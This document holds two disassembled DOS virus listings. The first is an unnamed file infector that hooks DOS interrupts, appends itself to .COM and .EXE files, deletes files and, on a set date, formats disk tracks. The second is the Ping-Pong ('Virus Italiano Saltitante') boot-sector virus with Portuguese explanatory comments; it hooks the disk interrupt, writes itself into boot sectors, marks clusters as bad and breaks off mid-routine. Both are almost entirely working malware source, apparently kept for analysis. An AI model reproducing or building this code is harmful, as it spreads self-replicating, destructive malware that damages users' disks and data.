               db      'ЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭМ', 0Ah, 0Dh, 0Ah
               db      0Dh, '$'
               db      3Dh, 4Dh, 4Bh, 75h, 9, 55h
               db      8Bh, 0ECh, 83h, 66h, 6, 0FEh
               db      5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
               db      12h, 3Dh, 0, 3Dh, 74h, 0Dh
               db      3Dh, 0, 6Ch, 75h, 5, 80h
               db      0FBh, 0, 74h, 3
loc_1:
               jmp     loc_13                  ; (0277)
loc_2:
               push    es
               push    ds
               push    di
               push    si
               push    bp
               push    dx
               push    cx
               push    bx
               push    ax
               call    sub_6                   ; (03CF)
               call    sub_7                   ; (040C)
               cmp     ax,6C00h
               jne     loc_3                   ; Jump if not equal
               mov     dx,si
loc_3:
               mov     cx,80h
               mov     si,dx

locloop_4:
               inc     si
               mov     al,[si]
               or      al,al                   ; Zero ?
               loopnz  locloop_4               ; Loop if zf=0, cx>0

               sub     si,2
               cmp     word ptr [si],5049h
               je      loc_7                   ; Jump if equal
               cmp     word ptr [si],4558h
               je      loc_6                   ; Jump if equal
loc_5:
               jmp     short loc_12            ; (026B)
               db      90h
loc_6:
               cmp     word ptr [si-2],452Eh
               je      loc_8                   ; Jump if equal
               jmp     short loc_5             ; (01FE)
loc_7:
               cmp     word ptr [si-2],5A2Eh
               jne     loc_5                   ; Jump if not equal
loc_8:
               mov     ax,3D02h
               call    sub_5                   ; (03C8)
               jc      loc_12                  ; Jump if carry Set
               mov     bx,ax
               mov     ax,5700h
               call    sub_5                   ; (03C8)
               mov     cs:data_20,cx           ; (7382:0127=0)
               mov     cs:data_21,dx           ; (7382:0129=0)
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03C8)
               push    cs
               pop     ds
               mov     dx,103h
               mov     si,dx
               mov     cx,18h
               mov     ah,3Fh                  ; '?'
               call    sub_5                   ; (03C8)
               jc      loc_10                  ; Jump if carry Set
               cmp     word ptr [si],5A4Dh
               jne     loc_9                   ; Jump if not equal
               call    sub_1                   ; (027C)
               jmp     short loc_10            ; (0254)
loc_9:
               call    sub_4                   ; (03AA)
loc_10:
               jc      loc_11                  ; Jump if carry Set
               mov     ax,5701h
               mov     cx,cs:data_20           ; (7382:0127=0)
               mov     dx,cs:data_21           ; (7382:0129=0)
               call    sub_5                   ; (03C8)
loc_11:
               mov     ah,3Eh                  ; '>'
               call    sub_5                   ; (03C8)
loc_12:
               call    sub_7                   ; (040C)
               pop     ax
               pop     bx
               pop     cx
               pop     dx
               pop     bp
               pop     si
               pop     di
               pop     ds
               pop     es
loc_13:
               jmp     cs:data_24              ; (7382:012F=0)

migram          endp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
               mov     ah,2Ah                  ; '*'
               int     21h                     ; DOS Services  ah=function 2Ah
                                               ;  get date, cx=year, dx=mon/day
               cmp     al,6
               je      loc_15                  ; Jump if equal
               jnz     loc_14                  ; Jump if not zero
loc_14:
               mov     cx,[si+16h]
               add     cx,[si+8]
               mov     ax,10h
               mul     cx                      ; dx:ax = reg * ax
               add     ax,[si+14h]
               adc     dx,0
               push    dx
               push    ax
               mov     ax,4202h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03C8)
               cmp     dx,0
               jne     loc_16                  ; Jump if not equal
               cmp     ax,4C3h
               jae     loc_16                  ; Jump if above or =
               pop     ax
               pop     dx
               stc                             ; Set carry flag
               retn
loc_15:
               mov     ah,5
               mov     ch,0
               mov     cl,0
               mov     dh,0
               mov     dl,2
               int     13h                     ; Disk  dl=drive #: ah=func c5h
                                               ;  format track=ch or cylindr=cx
               mov     ah,5
               mov     ch,0
               mov     cl,1
               mov     dh,0
               mov     dl,2
               int     13h                     ; Disk  dl=drive #: ah=func c5h
                                               ;  format track=ch or cylindr=cx
               mov     ah,5
               mov     ch,0
               mov     cl,2
               mov     dh,0
               mov     dl,2
               int     13h                     ; Disk  dl=drive #: ah=func c5h
                                               ;  format track=ch or cylindr=cx
               mov     ah,5
               mov     ch,0
               mov     cl,3
               mov     dh,0
               mov     dl,2
               int     13h                     ; Disk  dl=drive #: ah=func c5h
                                               ;  format track=ch or cylindr=cx
               mov     ah,5
               mov     ch,0
               mov     cl,4
               mov     dh,0
               mov     dl,2
               int     13h                     ; Disk  dl=drive #: ah=func c5h
                                               ;  format track=ch or cylindr=cx
               mov     ah,5
               mov     ch,0
               mov     cl,5
               mov     dh,0
               mov     dl,2
               int     13h                     ; Disk  dl=drive #: ah=func c5h
                                               ;  format track=ch or cylindr=cx
               mov     dx,offset data_30       ; (7382:013F=0Ah)
               mov     ah,9
               int     21h                     ; DOS Services  ah=function 09h
                                               ;  display char string at ds:dx
               call    sub_9                   ; (043A)
               int     20h                     ; Program Terminate
loc_16:
               mov     di,ax
               mov     bp,dx
               pop     cx
               sub     ax,cx
               pop     cx
               sbb     dx,cx
               cmp     word ptr [si+0Ch],0
               je      loc_ret_19              ; Jump if equal
               cmp     dx,0
               jne     loc_17                  ; Jump if not equal
               cmp     ax,4C3h
               jne     loc_17                  ; Jump if not equal
               stc                             ; Set carry flag
               retn
loc_17:
               mov     dx,bp
               mov     ax,di
               push    dx
               push    ax
               add     ax,4C3h
               adc     dx,0
               mov     cx,200h
               div     cx                      ; ax,dx rem=dx:ax/reg
               les     di,dword ptr [si+2]     ; Load 32 bit ptr
               mov     cs:data_22,di           ; (7382:012B=0)
               mov     cs:data_23,es           ; (7382:012D=7382h)
               mov     [si+2],dx
               cmp     dx,0
               je      loc_18                  ; Jump if equal
               inc     ax
loc_18:
               mov     [si+4],ax
               pop     ax
               pop     dx
               call    sub_2                   ; (038B)
               sub     ax,[si+8]
               les     di,dword ptr [si+14h]   ; Load 32 bit ptr
               mov     data_17,di              ; (7382:0121=0C3C3h)
               mov     data_18,es              ; (7382:0123=0C3C3h)
               mov     [si+14h],dx
               mov     [si+16h],ax
               mov     word ptr data_19,ax     ; (7382:0125=0)
               mov     ax,4202h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03C8)
               call    sub_3                   ; (039C)
               jc      loc_ret_19              ; Jump if carry Set
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03C8)
               mov     ah,40h                  ; '@'
               mov     dx,si
               mov     cx,18h
               call    sub_5                   ; (03C8)

loc_ret_19:
               retn
sub_1           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_2           proc    near
               mov     cx,4
               mov     di,ax
               and     di,0Fh

locloop_20:
               shr     dx,1                    ; Shift w/zeros fill
               rcr     ax,1                    ; Rotate thru carry
               loop    locloop_20              ; Loop if cx > 0

               mov     dx,di
               retn
sub_2           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_3           proc    near
               mov     ah,40h                  ; '@'
               mov     cx,4C3h
               mov     dx,100h
               call    sub_6                   ; (03CF)
               jmp     short loc_21            ; (03C8)
               db      90h

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

sub_4:
               mov     dx,10h
               mov     ah,1Ah
               int     21h                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               mov     dx,11Bh
               mov     cx,110Bh
               mov     ah,4Eh                  ; 'N'
               int     21h                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               mov     dx,2Eh
               mov     ax,3D02h
               int     21h                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               mov     ah,41h                  ; 'A'
               int     21h                     ; DOS Services  ah=function 41h
                                               ;  delete file, name @ ds:dx
               retn
sub_3           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_5           proc    near
loc_21:
               pushf                           ; Push flags
               call    cs:data_24              ; (7382:012F=0)
               retn
sub_5           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_6           proc    near
               push    ax
               push    ds
               push    es
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               cli                             ; Disable interrupts
               les     ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr
               mov     cs:data_25,ax           ; (7382:0133=0)
               mov     cs:data_26,es           ; (7382:0135=7382h)
               mov     ax,431h
               mov     ds:data_5e,ax           ; (0000:0090=5BFh)
               mov     word ptr ds:data_5e+2,cs        ; (0000:0092=0EA3h)
               les     ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
               mov     cs:data_28,ax           ; (7382:013B=0)
               mov     cs:data_29,es           ; (7382:013D=7382h)
               les     ax,cs:data_27           ; (7382:0137=0) Load 32 bit ptr
               mov     ds:data_1e,ax           ; (0000:004C=20D0h)
               mov     word ptr ds:data_1e+2,es        ; (0000:004E=102Ch)
               sti                             ; Enable interrupts
               pop     es
               pop     ds
               pop     ax
               retn
sub_6           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_7           proc    near
               push    ax
               push    ds
               push    es
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               cli                             ; Disable interrupts
               les     ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
               mov     ds:data_5e,ax           ; (0000:0090=5BFh)
               mov     word ptr ds:data_5e+2,es        ; (0000:0092=0EA3h)
               les     ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
               mov     ds:data_1e,ax           ; (0000:004C=20D0h)
               mov     word ptr ds:data_1e+2,es        ; (0000:004E=102Ch)
               sti                             ; Enable interrupts
               pop     es
               pop     ds
               pop     ax
               retn
sub_7           endp

               db      0B0h, 3, 0CFh

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_8           proc    near
               mov     dx,10h
               mul     dx                      ; dx:ax = reg * ax
               retn
sub_8           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_9           proc    near
               xor     ax,ax                   ; Zero register
               xor     bx,bx                   ; Zero register
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               xor     si,si                   ; Zero register
               xor     di,di                   ; Zero register
               xor     bp,bp                   ; Zero register
               retn
sub_9           endp

loc_22:
               push    ds
               call    sub_10                  ; (044D)

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_10          proc    near
               mov     ax,4B4Dh
               int     21h                     ; DOS Services  ah=function 4Bh
                                               ;  run progm @ds:dx, parm @es:bx
               jc      loc_23                  ; Jump if carry Set
               jmp     loc_33                  ; (057D)
loc_23:
               pop     si
               push    si
               mov     di,si
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               les     ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
               mov     cs:data_42e[si],ax      ; (7382:FCEA=0)
               mov     cs:data_43e[si],es      ; (7382:FCEC=0)
               les     bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
               mov     cs:data_40e[di],bx      ; (7382:FCE2=0)
               mov     cs:data_41e[di],es      ; (7382:FCE4=0)
               mov     ax,ds:data_7e           ; (0000:0102=0F000h)
               cmp     ax,0F000h
               jne     loc_31                  ; Jump if not equal
               mov     dl,80h
               mov     ax,ds:data_8e           ; (0000:0106=0F000h)
               cmp     ax,0F000h
               je      loc_24                  ; Jump if equal
               cmp     ah,0C8h
               jb      loc_31                  ; Jump if below
               cmp     ah,0F4h
               jae     loc_31                  ; Jump if above or =
               test    al,7Fh
               jnz     loc_31                  ; Jump if not zero
               mov     ds,ax
               cmp     word ptr ds:data_44e,0AA55h     ; (F000:0000=0AA55h)
               jne     loc_31                  ; Jump if not equal
               mov     dl,ds:data_45e          ; (F000:0002=40h)
loc_24:
               mov     ds,ax
               xor     dh,dh                   ; Zero register
               mov     cl,9
               shl     dx,cl                   ; Shift w/zeros fill
               mov     cx,dx
               xor     si,si                   ; Zero register

locloop_25:
               lodsw                           ; String [si] to ax
               cmp     ax,0FA80h
               jne     loc_26                  ; Jump if not equal
               lodsw                           ; String [si] to ax
               cmp     ax,7380h
               je      loc_27                  ; Jump if equal
               jnz     loc_28                  ; Jump if not zero
loc_26:
               cmp     ax,0C2F6h
               jne     loc_29                  ; Jump if not equal
               lodsw                           ; String [si] to ax
               cmp     ax,7580h
               jne     loc_28                  ; Jump if not equal
loc_27:
               inc     si
               lodsw                           ; String [si] to ax
               cmp     ax,40CDh
               je      loc_30                  ; Jump if equal
               sub     si,3
loc_28:
               dec     si
               dec     si
loc_29:
               dec     si
               loop    locloop_25              ; Loop if cx > 0

               jmp     short loc_31            ; (04EC)
loc_30:
               sub     si,7
               mov     cs:data_42e[di],si      ; (7382:FCEA=0)
               mov     cs:data_43e[di],ds      ; (7382:FCEC=0)
loc_31:
               mov     ah,62h                  ; 'b'
               int     21h                     ; DOS Services  ah=function 62h
                                               ;  get progrm seg prefix addr bx
               mov     es,bx
               mov     ah,49h                  ; 'I'
               int     21h                     ; DOS Services  ah=function 49h
                                               ;  release memory block, es=seg
               mov     bx,0FFFFh
               mov     ah,48h                  ; 'H'
               int     21h                     ; DOS Services  ah=function 48h
                                               ;  allocate memory, bx=bytes/16
               sub     bx,4Eh
               nop
               jc      loc_33                  ; Jump if carry Set
               mov     cx,es
               stc                             ; Set carry flag
               adc     cx,bx
               mov     ah,4Ah                  ; 'J'
               int     21h                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               mov     bx,4Dh
               stc                             ; Set carry flag
               sbb     es:data_12e,bx          ; (06C7:0002=0B8C3h)
               push    es
               mov     es,cx
               mov     ah,4Ah                  ; 'J'
               int     21h                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               mov     ax,es
               dec     ax
               mov     ds,ax
               mov     word ptr ds:data_11e,8  ; (0677:0001=3EC4h)
               call    sub_8                   ; (0434)
               mov     bx,ax
               mov     cx,dx
               pop     ds
               mov     ax,ds
               call    sub_8                   ; (0434)
               add     ax,ds:data_13e          ; (06C7:0006=0F0EBh)
               adc     dx,0
               sub     ax,bx
               sbb     dx,cx
               jc      loc_32                  ; Jump if carry Set
               sub     ds:data_13e,ax          ; (06C7:0006=0F0EBh)
loc_32:
               mov     si,di
               xor     di,di                   ; Zero register
               push    cs
               pop     ds
               sub     si,34Dh
               mov     cx,4C3h
               inc     cx
               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
               mov     ah,62h                  ; 'b'
               int     21h                     ; DOS Services  ah=function 62h
                                               ;  get progrm seg prefix addr bx
               dec     bx
               mov     ds,bx
               mov     byte ptr ds:data_10e,5Ah        ; (0676:0000=0E8h) 'Z'
               mov     dx,1A8h
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               mov     ax,es
               sub     ax,10h
               mov     es,ax
               cli                             ; Disable interrupts
               mov     ds:data_3e,dx           ; (0000:0084=6C7h)
               mov     word ptr ds:data_3e+2,es        ; (0000:0086=102Ch)
               sti                             ; Enable interrupts
               dec     byte ptr ds:data_9e     ; (0000:047B=14h)
loc_33:
               pop     si
               cmp     word ptr cs:data_35e[si],5A4Dh  ; (7382:FCB6=0)
               jne     loc_34                  ; Jump if not equal
               pop     ds
               mov     ax,cs:data_39e[si]      ; (7382:FCD8=0)
               mov     bx,cs:data_38e[si]      ; (7382:FCD6=0)
               push    cs
               pop     cx
               sub     cx,ax
               add     cx,bx
               push    cx
               push    word ptr cs:data_37e[si]        ; (7382:FCD4=0)
               push    ds
               pop     es
               call    sub_9                   ; (043A)
               retf                            ; Return far
loc_34:
               pop     ax
               mov     ax,cs:data_35e[si]      ; (7382:FCB6=0)
               mov     word ptr cs:[100h],ax   ; (7382:0100=46E9h)
               mov     ax,cs:data_36e[si]      ; (7382:FCB8=0)
               mov     word ptr cs:[102h],ax   ; (7382:0102=0C303h)
               mov     ax,100h
               push    ax
               push    cs
               pop     ds
               push    ds
               pop     es
               call    sub_9                   ; (043A)
               retn
sub_10          endp


seg_a           ends



               end     start





; **************************************************
; ***   VIRUS ITALIANO SALTITANTE - A LISTAGEM   ***
; *** Desassemblagem obtida por Miguel Vitorino  ***
; ***    Para : S P O O L E R - Junho de 1989    ***
; **************************************************

.RADIX 16

jmpf    macro   x
       db      0eah
       dd      x
endm

Virus       SEGMENT
assume  cs:virus;ds:virus

jmpf    MACRO   x
       db      0eah
       dd      x
ENDM

org 0100h

begin:  jmp     short entry

               db      1eh-2 dup (?)           ; Informacao relativa a' disquete

entry:  xor     ax,ax
               mov     ss,ax
               mov     sp,7c00                 ; Colocar o Stack antes do inicio do
               mov     ds,ax                           ; virus
               mov     ax,ds:[0413]            ; Retirar 2 K como se nao existissem
               sub     ax,2                            ; para que o DOS nao la' chegue !
               mov     ds:[0413],ax
               mov     cl,06                   ; Converter o tamanho da RAM num
               shl     ax,cl                   ; numero de segmento que se situa nos
               sub     ax,07c0                 ; 2 ultimos K
               mov     es,ax                   ; De seguida passar este programa
               mov     si,7c00                 ; para esse sitio de memoria
               mov     di,si                   ; ( i.e. o programa transfere-se a si
               mov     cx,0100                 ;  proprio )
               repz    movsw
               mov     cs,ax                   ; Transferencia de controlo para ai!
               push    cs                      ; Agora sim , ja' estamos nos tais 2K
               pop     ds
               call    reset                   ; fazer duas vezes um "reset" ao
reset:  xor     ah,ah                   ; controlador de disco
               int     13
               and     byte ptr ds:drive,80
               mov     bx,ds:sector            ; Sector onde esta' o resto do virus
               push    cs
               pop     ax
               sub     ax,0020
               mov     es,ax
               call    ler_sector                      ; Ler o resto do virus da drive
               mov     bx,ds:sector
               inc     bx
               mov     ax,0ffc0                        ; Carregar o sector de boot original
               mov     es,ax
               call    ler_sector
               xor     ax,ax
               mov     ds:estado,al
               mov     ds,ax
               mov     ax,ds:[004c]            ; "Confiscar" o interrupt 13
               mov     bx,ds:[004e]            ; ( operacoes sobre disquetes/discos )
               mov     word ptr ds:[004c],offset int_13
               mov     ds:[004e],cs
               push    cs
               pop     ds
               mov     word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
               mov     word ptr ds:velho_13+2,bx
               mov     dl,ds:drive
       jmpf    0:7c00                  ; Efectuar o arranque do sistema

Esc_Sector      proc    near
               mov     ax,0301                 ; Escrever um sector da drive
               jmp     short cs:transferir
Esc_Sector      endp

Ler_Sector      proc  near
           mov ax,0201                 ; Ler um sector da drive
Ler_Sector      endp

Transferir  proc  near                          ; Efectuar uma transferencia de dados
       xchg    ax,bx                           ; de ou para a drive
               add     ax,ds:[7c1c]            ; Este procedimento tem como entrada
               xor     dx,dx                           ; o numero do sector pretendido ( BX )
               div     ds:[7c18]               ; e de seguida sao feitas as contas
               inc     dl                              ; para saber qual a pista e o lado
               mov     ch,dl                           ; onde esse sector fica
               xor     dx,dx
               div     ds:[7c1a]
               mov     cl,06
               shl     ah,cl
               or      ah,ch
               mov     cx,ax
               xchg    ch,cl
               mov     dh,dl
               mov     ax,bx                           ; Depois de todas as contas feitas
transf: mov     dl,ds:drive                     ; pode-se chamar o interrupt 13H
               mov     bx,8000                 ; es:bx = end. de transferencia
               int     13
               jnb     trans_exit
               pop     ax
trans_exit:     ret
Transferir      endp

Int_13  proc    near                            ; Rotina de atendimento ao int. 13H
               push    ds                              ; (operacoes sobre discos e disquetes)
               push    es
               push    ax
               push    bx
               push    cx
               push    dx
               push    cs
               pop     ds
               push    cs
               pop     es
               test    byte ptr ds:estado,1    ; Testar se se esta' a ver se o virus
               jnz     call_BIOS                       ; esta' no disco
               cmp     ah,2
               jnz     call_BIOS
               cmp     ds:drive,dl                     ; Ver se a ultima drive que foi
               mov     ds:drive,dl                     ; mexida e' igual a' drive onde
               jnz     outra_drv                       ; se vai mexer
               xor     ah,ah                           ; Neste momento vai-se tirar a' sorte
               int     1a                              ; para ver se o virus fica activo
               test    dh,7f                           ; Isto e' feito a partir da leitura
               jnz     nao_desp                        ; da hora e se for igual a um dado
           test  dl,0f0                        ; numero , o virus e' despoletado
           jnz   nao_desp
           push  dx                            ; Instalar o movimento da bola
           call  despoletar
           pop   dx
nao_desp:       mov   cx,dx
           sub dx,ds:semente
               mov     ds:semente,cx
               sub     dx,24
               jb      call_BIOS
outra_drv:      or      byte ptr ds:estado,1    ; Indicar que se esta' a testar a
               push    si                              ; presenca ou nao do virus na drive
               push    di
               call    contaminar
               pop     di
               pop     si
               and     byte ptr ds:estado,0fe  ; Indicar fim de teste de virus
call_BIOS:      pop     dx
               pop     cx
               pop     bx
               pop     ax
               pop     es
               pop     ds
Velho_13        equ     $+1
               jmpf    0:0
Int_13  endp

Contaminar      proc    near
               mov     ax,0201
               mov     dh,0
               mov     cx,1
               call    transf
               test    byte ptr ds:drive,80    ; Pediu-se um reset a' drive ?
               jz      testar_drv                      ; Sim , passar a' contaminacao directa
               mov     si,81be
               mov     cx,4
proximo:        cmp     byte ptr [si+4],1
               jz      ler_sect
               cmp     byte ptr [si+4],4
               jz      ler_sect
               add     si,10
               loop    proximo
               ret

ler_sect:       mov     dx,[si]                 ; Cabeca+drive
               mov     cx,[si+2]                       ; Pista+sector inicial
               mov     ax,0201                 ; Ler esse sector
               call    transf
testar_drv:     mov     si,8002                 ; Comparar os 28 primeiros bytes para
               mov     di,7c02                 ; ver se o sector de boot e' o mesmo
               mov     cx,1c                           ; i.e. ver se a drive ja' foi virada !
               repz    movsb
               cmp     word ptr ds:[offset flag+0400],1357
               jnz     esta_limpa
               cmp     byte ptr ds:flag_2,0
               jnb     tudo_bom
               mov     ax,word ptr ds:[offset prim_dados+0400]
               mov     ds:prim_dados,ax                ; Se chegar aqui entao a disquete ja'
               mov     si,ds:[offset sector+0400] ; esta' contaminada !
               jmp     infectar
tudo_bom:       ret

; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !

esta_limpa:     cmp     word ptr ds:[800bh],0200; Bytes por sector
               jnz     tudo_bom
               cmp     byte ptr ds:[800dh],2   ; Sectores por cluster
               jb      tudo_bom
               mov     cx,ds:[800e]            ; Sectores reservados
               mov     al,byte ptr ds:[8010]   ; Numero de FAT's
               cbw
               mul     word ptr ds:[8016]      ; Numero de sectores de FAT
               add     cx,ax
               mov     ax,' '
               mul     word ptr ds:[8011]      ; Numero de entradas na root
               add     ax,01ff
               mov     bx,0200
               div     bx
               add     cx,ax
               mov     ds:prim_dados,cx
               mov     ax,ds:[7c13]            ; Numero de sectores da drive
               sub     ax,ds:prim_dados
               mov     bl,byte ptr ds:[7c0dh]  ; Numero de sectores por cluster
               xor     dx,dx
               xor     bh,bh
               div     bx
               inc     ax
               mov     di,ax
               and     byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
               cmp     ax,0ff0                 ; a 0FF0 entao cada entrada na FAT sao
               jbe     sao_3                           ; 4 nibbles senao sao 3
               or      byte ptr ds:estado,4    ; 4 = disco duro ?
sao_3:  mov     si,1                            ; Escolher sector a infectar
               mov     bx,ds:[7c0e]            ; Numero de sectores reservados
               dec     bx
               mov     ds:inf_sector,bx                ; Sector a infectar
               mov     byte ptr ds:FAT_sector,0fe
               jmp     short continua

Inf_Sector      dw      1       ; Sector a infectar
Prim_Dados  dw    0c    ; Numero do primeiro sector de dados
Estado  db      0       ; Estado actual do virus (instalado/nao instalado,etc)
Drive           db      1       ; Drive onde se pediu uma accao
Sector  dw      0ec     ; Sector auxiliar para procura do virus
Flag_2  db      0       ; Estes proximos valores servem para ver se o virus
Flag            dw      1357    ; ja' esta' ou nao presente numa drive , bastando
               dw      0aa55 ; comparar se estes valores batem certos para o saber

continua:       inc     word ptr ds:inf_sector
               mov     bx,ds:inf_sector
               add     byte ptr ds:[FAT_sector],2
               call    ler_sector
               jmp     short   l7e4b

; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus

verificar:      mov     ax,3                            ; Media descriptor + ff,ff
               test    byte ptr ds:estado,4    ; disco duro ?
               jz      l7e1d
               inc     ax                              ; Sim , FAT comeca 1 byte mais adiante
l7e1d:  mul     si                              ; Multiplicar pelo numero do cluster
               shr     ax,1
               sub     ah,ds:FAT_sector
               mov     bx,ax
               cmp     bx,01ff
               jnb     continua
               mov     dx,[bx+8000]            ; Ler a entrada na FAT
               test    byte ptr ds:estado,4
               jnz     l7e45
               mov     cl,4
               test    si,1
               jz      l7e42
               shr     dx,cl
l7e42:  and     dh,0f
l7e45:  test    dx,0ffff                        ; Se a entrada na FAT for zero,entao
               jz      l7e51                           ; descobriu-se um cluster para por o
l7e4b:  inc     si                              ; virus , senao passa-se ao proximo
               cmp     si,di                           ; cluster ate' achar um bom
               jbe     verificar
               ret

; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele

l7e51:  mov     dx,0fff7                        ; Marcar um "bad cluster" (ff7)
               test    byte ptr ds:estado,4    ; Ver qual o tamanho das ents. na FAT
               jnz     l7e68                           ; ( 3 ou 4 nibbles )
               and     dh,0f
               mov     cl,4
               test    si,1
               jz      l7e68
               shl     dx,cl
l7e68:  or      [bx+8000],dx
               mov     bx,word ptr ds:inf_sector       ; Infectar sector !!!
               call    esc_sector
               mov     ax,si
               sub     ax,2
               mov     bl,ds:7c0dh                     ; Numero de sectores por cluster
               xor     bh,bh
               mul     bx
               add     ax,ds:prim_dados
               mov     si,ax                           ; SI = sector a infectar
               mov     bx,0                            ; Ler o sector de boot original
               call    ler_sector
               mov     bx,si
               inc     bx
               call    esc_sector                      ; ... e guarda'-lo depois do virus
infectar:       mov     bx,si
               mov     word ptr ds:sector,si
               push    cs
               pop     ax
               sub     ax,20                           ; Escrever o resto do virus
               mov     es,ax
               call    esc_sector
               push    cs
               pop     ax
               sub     ax,40
               mov     es,ax
               mov     bx,0                            ; Escrever no sector de boot o virus
               call    esc_sector
               ret
Contaminar      endp

Semente dw      ?                               ; Esta word serve para fins de
                                                       ; temporizacao da bola a saltar
FAT_sector      db    0                         ; Diz qual e' o numero do sector que
                                                       ; se esta' a percorrer quando se
                                                       ; vasculha a FAT

Despoletar      proc    near                            ; Comecar a mostrar a bola no ecran
             test  byte ptr ds:estado,2        ; Virus ja' esta' activo ?
           jnz   desp_exit                     ; Sim ,sair
           or    byte ptr ds:estado,2  ; Nao , marcar activacao
               mov     ax,0
               mov     ds,ax
               mov     ax,ds:20                        ; Posicionar interrupt 8 (relogio)
               mov     bx,ds:22
               mov     word ptr ds:20,offset int_8
               mov     ds:22,cs
               push    cs
               pop     ds                              ; E guardar a rotina anterior
               mov     word ptr ds:velho_8+8,ax
               mov     word ptr ds:velho_8+2,bx
desp_exit:      ret
Despoletar      endp

Int_8           proc    near                            ; Rotina de atendimento ao interrupt
             push      ds                              ; provocado pelo relogio 18.2 vezes
               push    ax                              ; por segundo . Neste procedimento
               push    bx                              ; e' que se faz o movimento da bola
               push    cx                              ; pelo ecran
               push    dx
               push    cs
               pop     ds
               mov     ah,0f                           ; Ver qual o tipo de modo de video
               int     10
               mov     bl,al
               cmp     bx,ds:modo_pag          ; Comparar modo e pagina de video com
               jz      ler_cur                 ; os anteriores
               mov     ds:modo_pag,bx          ; Quando aqui chega mudou-se o modo
               dec     ah                              ; de video
               mov     ds:colunas,ah           ; Guardar o numero de colunas
               mov     ah,1
               cmp     bl,7                            ; Comparar modo com 7 (80x25 Mono)
               jnz     e_CGA
               dec     ah
e_CGA:  cmp     bl,4                            ; Ve se e' modo grafico
               jnb     e_grafico
               dec     ah
e_grafico:      mov     ds:muda_attr,ah
               mov     word ptr ds:coordenadas,0101
               mov     word ptr ds:direccao,0101
               mov     ah,3                            ; Ler a posicao do cursor
               int     10
               push    dx                              ; ... e guarda-la
               mov     dx,ds:coordenadas
               jmp     short   limites

ler_cur:        mov     ah,3                            ; Ler a posicao do cursor ...
               int     10
               push    dx                              ; ... e guarda-la
               mov     ah,2                            ; Posicionar o cursor no sitio da bola
               mov     dx,ds:coordenadas
               int     10
               mov     ax,ds:carat_attr
               cmp     byte ptr ds:muda_attr,1
               jnz     mudar_atr
               mov     ax,8307                 ; Atributos e carater 7
mudar_atr:      mov     bl,ah                           ; Carregar carater 7 (bola)
               mov     cx,1
               mov     ah,9                            ; Escrever a bola no ecran
               int     10
limites:        mov     cx,ds:direccao          ; Agora vai-se ver se a bola esta' no
               cmp     dh,0                            ; ecran . Linha = 0 ?
               jnz     linha_1
               xor     ch,0ff                  ; Mudar direccao
               inc     ch
linha_1:        cmp     dh,18                           ; Linha = 24 ?
               jnz     coluna_1
